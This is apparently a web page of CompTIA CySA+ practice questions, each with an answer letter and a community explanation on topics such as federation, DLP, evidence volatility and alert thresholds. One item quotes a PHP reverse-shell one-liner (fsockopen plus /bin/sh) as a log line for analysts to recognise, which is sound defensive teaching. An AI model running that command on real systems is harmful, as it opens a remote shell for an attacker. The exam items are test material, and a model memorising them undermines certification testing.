CompTIA Cybersecurity Analyst (CySA+)527 questions across 53 pages are complete and free, with no account or card.
527 questions in this bank
Free access · progress saved on this device
Which of the following does "federation" most likely refer to within the context of identity and access management?
Answer: B
, SSO typically focuses on enabling seamless access to multiple applications within a single organization, while federation extends this capability to enable cross-organizational access to resources and services.
Source: Adapted from community discussion — bettyboo
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
Answer: D
D. DLP (Data Loss Prevention) Explanation: DLP (Data Loss Prevention) is a security technology that helps prevent unauthorized access, sharing, or exposure of sensitive data, including PII. It allows organizations to monitor and control the movement of data within and outside the organization's network. DLP solutions can detect and block the transmission of sensitive information, such as PII, through various channels, including email, web uploads, removable devices, and more.
Source: Adapted from community discussion — nmap_king_22
An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?
Answer: D
D) Routing table. It's the only volatile data. CompTIA certmaster Topic 8B: Performing Incident Response Activities "Evidence capture prioritizes collection activities based on the order of volatility, initially focusing on highly volatile storage. The ISOC best practice guide to evidence collection and archiving, published as tools.ietf.org/html/rfc3227, sets out the general order as follows: CPU registers and cache memory (including cache on disk controllers, GPUs, and so on) Contents of system memory (RAM), including the following: Routing table, ARP cache, process table, kernel statistics Temporary file systems/swap space/virtual memory Data on persistent mass storage devices (HDDs, SSDs, and flash memory devices)—including file system and free space Remote logging and monitoring data Physical configuration and network topology Archival media"
Source: Adapted from community discussion — [Removed]
The Chief Information Security Officer for an organization recently received approval to install a new EDR solution. Following the installation, the number of alerts that require remediation by an analyst has tripled. Which of the following should the organization utilize to best centralize the workload for the internal security team? (Choose two.)
Answer: AB
Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?
Answer: C
A security analyst has received an incident case regarding malware spreading out of control on a customer's network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature. Which of the following should the analyst perform next to determine the type of malware based on its telemetry?
Answer: A
If the security analyst already has a sample of the malware and its signature, cross-referencing the signature with open-source threat intelligence could indeed be a more efficient next step. This would allow the analyst to quickly identify the malware by comparing it to known threats in threat intelligence databases, saving time and potentially providing immediate insights into the type of malware, its behavior, and mitigation strategies.
Source: Adapted from community discussion — gomet2000
A network analyst notices a long spike in traffic on port 1433 between two IP addresses on opposite sides of a WAN connection. Which of the following is the most likely cause?
Answer: C
C. An administrator executed a new database replication process without notifying the SOC. Here's the rationale: Port 1433 is commonly associated with Microsoft SQL Server database traffic. A spike in traffic on this port suggests increased activity related to SQL Server communication. The fact that the spike in traffic occurs between two IP addresses on opposite sides of a WAN connection indicates that data is being transferred between remote locations. Database replication processes often involve transferring data between SQL Server instances, especially across WAN connections, to synchronize databases between different locations. If an administrator executed a new database replication process without notifying the SOC (Security Operations Center), it could result in unexpected traffic patterns that might trigger alerts or raise suspicion.
Source: Adapted from community discussion — glenndexter
Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?
Answer: A
Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?
Answer: D
Setting a threshold value will ensure that alerts are only generated when the number of occurrences reaches a certain amount.
Source: Adapted from community discussion — jspecht
While reviewing web server logs, a security analyst discovers the following suspicious line: php -r ’$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");’ Which of the following is being attempted?
Answer: D
Don't pick B, this is clearly a reverse shell attack. 'fsockopen' initiates the connection on 10.0.0.1. 'exec' function is then used to execute /bin/sh -i &3 2>&3, which establishes a command shell on the target machine. /sh -i = reverse shell. Yes they are injecting commands, but the better answer (which is the goal of the attacker) is to create a reverse shell on the victim's machine
Source: Adapted from community discussion — garfield123
Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page
CS0-003 practice, question 111. 527 questions available.
Version 1.0.0. How we source questions